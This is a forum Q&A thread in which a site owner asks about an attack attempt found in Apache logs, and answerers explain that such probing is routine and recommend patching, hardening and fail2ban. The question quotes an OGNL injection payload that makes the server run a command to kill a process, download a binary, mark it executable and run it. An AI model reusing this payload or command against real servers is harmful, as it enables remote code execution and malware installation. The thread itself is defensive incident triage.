I was looking at some Apache logs and came across what appears to be an attack

core:error] [pid 20356] (36)File name too long: [client xxx.xxx.xxx.xxx:56856] AH00036: access to
exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop && chmod 777 .loop && ./.loop)
&&(pkill loop ; wget -O .loop && chmod 777 .loop && ./.loop)').getInputStream()))).
(#w.close())}/index.action failed (filesystem path '/var/www/html/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('uname --m|grep x86_64 >> ')

The execution line being:

exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop && chmod 777 .loop && ./.loop)
&&(pkill loop ; wget -O .loop && chmod 777 .loop && ./.loop)')

I downloaded the file wget -O .loop in a sandbox and it appears to a compiled / binary so I am unsure what the file does when run.

  1. From the error can anyone tell if I have a vulnerability, or better yet, how to look into vulnerabilities / improve security for this attack?

    • I am running a Symfony 4 API on Apache 2.4.
    • I am unsure of how the attack is being attempted and how they are trying to run the .exec command
  2. Is there a proper place to report this?

closed as too broad by JakeGould, PeterH, bertieb, Pimp Juice IT, music2myear Nov 26 '18 at 21:09

Please edit the question to limit it to a specific problem with enough detail to identify an adequate answer. Avoid asking multiple distinct questions at once. See the How to Ask page for help clarifying this question. If this question can be reworded to fit the rules in the help center, please edit the question.

  • 2
    This question may be better suited for serverfault.com . I will flag for migration. – Christopher Hostage Nov 19 '18 at 21:44
  • In my experience, if a machine shows evidence of being compromised, then it is no longer trustworthy and should be rebuilt. Remember, the attacker may have done other things you haven't noticed, or successfully covered some tracks. It also could have served as a toehold in your data center / business for the attacker to infest other machines, so reviewing the others is a good idea. – Christopher Hostage Nov 19 '18 at 21:53
  • I'm not sure if this actually shows evidence of the machine being compromised... I could go to any webserver and try to hit a url... I believe the log is showing that someone went to the url: http://example.com/${(#dm=@ognl.OgnlContext@....exec(...)/ but am uncertain if I am correct in that assumption. The log also shows mention of com.opensymphony.xwork2.ActionContext.container which appears to be part of Apache Struts. I am not using Apache Struts – Shawn Northrop Nov 19 '18 at 22:26
  • @ChristopherHostage you could have simply voted to close it as being off-topic here and on-topic at Server Fault. If 4 other people agreed with you then it would get migrated. – Mokubai Nov 20 '18 at 14:05
  • 1
    @ChristopherHostage “In my experience, if a machine shows evidence of being compromised…” Wrong in this case. All the Apache logs reflect are attempts to do something on a server, not evidence that anything has been done. And as reflected in my answer, this is just an attempt to attack a web server on the Internet which is incredibly common and not anything to really worry about on its own. – JakeGould Nov 20 '18 at 15:12

Your question states:

I found an attempted attack - what do I do?

And then you breathlessly state the following:

I was looking at some Apache logs and came across what appears to be an attack…

What do you do? Simple answer:

Don’t Panic!

Panicking and doing too much, too quickly to attempt to mitigate a perceived threat would—and could—be more damaging to a server than any damage an actual attack could incur.

But in more detail, every web server in the world is constantly being probed and—sometimes—genuinely attacked. This is the nature of the Internet. Your Apache logs are simply logging requests to the server and that’s it. If your version of Apache and the underlying OS (assuming Linux) are fully patched and up to date you should be solid. If you are running any scripts on your server that are web facing—such as PHP scripts—you might have a vulnerability dependent on how solid your PHP code is.

That said, I still wouldn’t worry too much. If your PHP code consists of a prepackaged system such as WordPress or Drupal, make sure that CMS is patched and up to date. If this PHP code is custom code, that custom code is only as vulnerable as the coding competency of the person who coded it.

But all that still boils down to my initial message:

Don’t Panic!

The chances of you being compromised by this one script are slim to none. It is not an “attack” as much as it is an attempt to attack.

Anything past this summary is really outside the scope of a simple question.

That said, the most vulnerable websites out there are not custom coded websites as much as they are prepackaged systems such as WordPress and Drupal which have not been patched by their site owners. Why those sites don’t get patched? Too many reasons to list. But the vast majority of web-based attacks target out of date and unpatched pre-packaged systems like WordPress and Drupal more than anything else.

Also, you ask:

Is there a proper place to report this?

Report what to who? You are basically just being probed (with attempts to attack) by some random script somewhere. If you knew the IP address you might be able to contact the owner of that IP address and see if they can do something. But in 2018, that is a fruitless effort at best.

Why? Easy: Hackers nowadays use botnets which are often just infected machines or clusters of disposable cloud servers that do the dirty work of attacking servers. Just because you are being attacked by a specific IP address doesn’t mean that the owner of the system at that IP address is the attacker. It could just be an infected system. And if it’s a disposable cloud server, you might want to contact the ISP that manages that cloud server and maybe they can be alerted. But all will happen is the owner of the botnet will move these attack servers to another ISP.

Better just make sure your code and server is solid and not worry about “reporting” stuff like this. This attack is not unique and reporting it will not get you the results you desire.


If you look closely at your apache logs you will likely see numerous examples of connection attempts attempting to run various known vulnerabilities against your server.

It is important to keep apache and any app running on your server up-to-date with security fixes. Also look at apache secure baseline doc from CIS to help harden your installation.
Finally, take a look at a tool like fail2ban and the apache jails and filters (apache-noscript, apache-overflow, etc).

Not the answer you're looking for? Browse other questions tagged or ask your own question.